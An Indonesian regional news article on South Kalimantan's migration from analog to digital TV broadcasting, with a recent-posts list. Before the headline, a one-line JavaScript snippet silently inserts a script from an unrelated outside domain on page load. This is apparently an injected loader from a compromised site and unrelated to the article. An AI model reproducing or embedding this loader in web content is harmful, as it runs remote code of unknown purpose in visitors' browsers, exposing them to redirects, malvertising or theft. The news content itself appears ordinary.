(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kalsel Masih Nikmati Siaran TV Analog, 7 Daerah Akan Migrasi Siaran Digital Tahap I


KANALKALIMANTAN.COM, BANJARBARU- Per 30 April lalu, Analog Switch Off (ASO) tahap I telah dimulai di delapan kabupaten/kota di Provinsi Riau, Nusa Tenggara Timur, dan Papua Barat.

Sementara di Provinsi Kalimantan Selatan (Kalsel), masih bisa menikmati siaran secara simulcast, yakni siaran televisi digital tanpa menghentikan siaran analog.

Hal ini dikarenakan belum terdistribusinya Set Top Box (STB) bagi rumah tangga miskin sebagai alat bantu penerima siaran digital di televisi analog, sehingga siaran televisi digital belum bisa dinikmati secara merata.

“STB akan dikirimkan oleh penyedia ke LPS (Lembaga Penyiaran Swasta) di daerah untuk didistribusikan sekaligus dilakukan instalasi, sampai terdata di aplikasi Kementerian Kominfo,” kata Kepala Dinas Komunikasi dan Informatika (Kominfo) Kalsel, M Muslim, Senin (9/5/2022). dikutip dari Media Center Kalsel.

 

 

Baca juga: Pemogokan 8.300 Buruh Freeport Masuk Tahun Kelima, 111 Pekerja Meninggal Dunia Karena Depresi

Berdasarkan data dari Kementerian Kominfo, 45 ribu lebih STB akan diterima oleh rumah tangga miskin terdaftar di Data Terpadu Kesejahteraan Sosial (DTKS) Kementerian Sosial. Ada 7 kabupaten yang rencananya bermigrasi ke siaran televisi digital tahap satu, yakni Tapin, Hulu Sungai Selatan, Hulu Sungai Tengah, Hulu Sungai Utara, Balangan, Kotabaru, dan Tabalong.

Muslim mengatakan, pihaknya berkoordinasi intens dengan Kementerian Kominfo dan LPS di daerah terkait pelaksanaan ASO dan distribusi STB ini. Di sisi lain, Ia mengimbau masyarakat yang belum bisa menerima siaran digital agar segera memasang STB tersertifikasi Kominfo, yang bisa dibeli dengan harga Rp 190 ribu hingga Rp 400 ribu.

“STB yang bisa digunakan adalah STB yang terverifikasi Kementerian Kominfo, dengan kriteria memiliki tulisan DVB T2, tulisan “Siap Digital”, dan gambar maskot Modi. STB yang telah tersertifikasi kurang lebih 25 merk,” kata Muslim.

Bagi masyarakat Kalsel yang mengalami kendala dalam instalasi STB, dapat menghubungi call center Kementerian Kominfo di nomor 159 atau melalui kanal LAPOR! Paman. Kadiskominfo Kalsel berharap, masyarakat dapat mendukung migrasi siaran televisi analog ke digital untuk siaran yang lebih bersih, jernih, dan canggih.

“Siaran digital juga memberikan peluang bagi masyarakat untuk bisa berkontribusi menghasilkan konten atau tayangan menarik yang inspiratif, edukatif, inovatif, dan menghibur,” kata Muslim. (Kanalkalimantan.com/kk)

Reporter : kk
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.